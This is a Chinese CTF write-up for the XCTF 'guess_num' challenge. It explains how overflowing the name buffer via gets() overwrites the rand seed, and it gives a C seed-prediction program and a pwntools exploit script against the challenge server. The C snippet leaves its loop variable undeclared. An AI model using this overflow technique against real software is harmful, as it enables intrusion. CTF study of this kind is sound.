xctf--新手區--guess_num

writeup

老規矩,先checksec下,查看保護機制
在這裏插入圖片描述64位程序,保護機制全開啊,不過不慌,先運行一下大致看看
在這裏插入圖片描述
兩次輸入分別是Your name和 guess number ,其餘皆是程序輸出,貌似沒有得到什麼有用的東西。
再次藉助強大的IDA查看源碼:
在這裏插入圖片描述分析源碼得知,我們要輸入十次隨機數產生的值,如果一次錯,那就GG,十次全部輸入正確,就success!,flag應該就藏在success的背後,所以無論如何我們都要把這十次輸入弄成正確的。

當然,要十次輸入的數並不是真要我們去猜(如果真的都猜對,哈哈,那你應該去買彩票了),我們從產生這些數的rand函數入手。

在這裏插入圖片描述紅色部分是比較重要的,也是攻克本題的重要一步。rand函數產生隨機數的時候,需要一個種子,如果這個種子是一樣的話,產生的隨機數也是一樣的。
因爲我們先要輸入name,要是我們通過gets(),輸入一個很長的字符串,剛好把seed的值覆蓋掉,那麼seed的產生的隨機值就會成爲可控的一個序列
可是輸入的name要多長呢?

由下圖我們看到,我們要選取的seed的值在rbp-10h處,而我們輸入name的一個區域在rbp-30h處,所以我們至少要輸入20h個字符纔可以覆蓋掉seed
在這裏插入圖片描述

知道了輸入name的長度,我們就可以寫一個c程序先預判當seed是a的時候產生的隨機數分別是多少:

#include<stdio.h>
#include<stdlib.h>
int main()
{
srand(0x61616161);
for(i=0;i<10;i++)
{
int b=rand()%6+1;
printf("%d\n",b);
}
return 0;
}


開始的時候我直接運行沒有成功,然後編譯之後就運行成功了。
在這裏插入圖片描述得到了這10個數,我們再次運行源文件,並把這些數字依次輸入
在這裏插入圖片描述在這裏插入圖片描述
我的flag竟然沒有,同樣的做法別人都得到了flag,試了很多次也無果,那就再試試另一種方法,直接寫python腳本進行加交互

from pwn import*
from ctypes import*
context.log_level='debug'
r=remote("159.138.137.79","63574")
#elf=ELF('./guess_num')
payload='a'*0x20+p64(1)
print(payload)
r.recvuntil('Your name:')
r.sendline(payload)
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
for i in range(10):
        r.recvuntil('number:')
        r.sendline(str(libc.rand()%6+1))
        
r.interactive()

如果想知道你機器的版本 可以 ldd guess_num
在這裏插入圖片描述拿到flag!
在這裏插入圖片描述

總結:

這個題目主要的突破點在於用name的值覆蓋掉seed的值,從而達到rand產生的隨機數我們是可以預判的一個效果,不過兩種方法理論上應該是都可以的,肯定是某處有問題我忽略了,不過大致方法我們已經掌握了!

參考文章:

https://blog.csdn.net/lvyibin890/article/details/80141412
xctf自帶的writeup

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章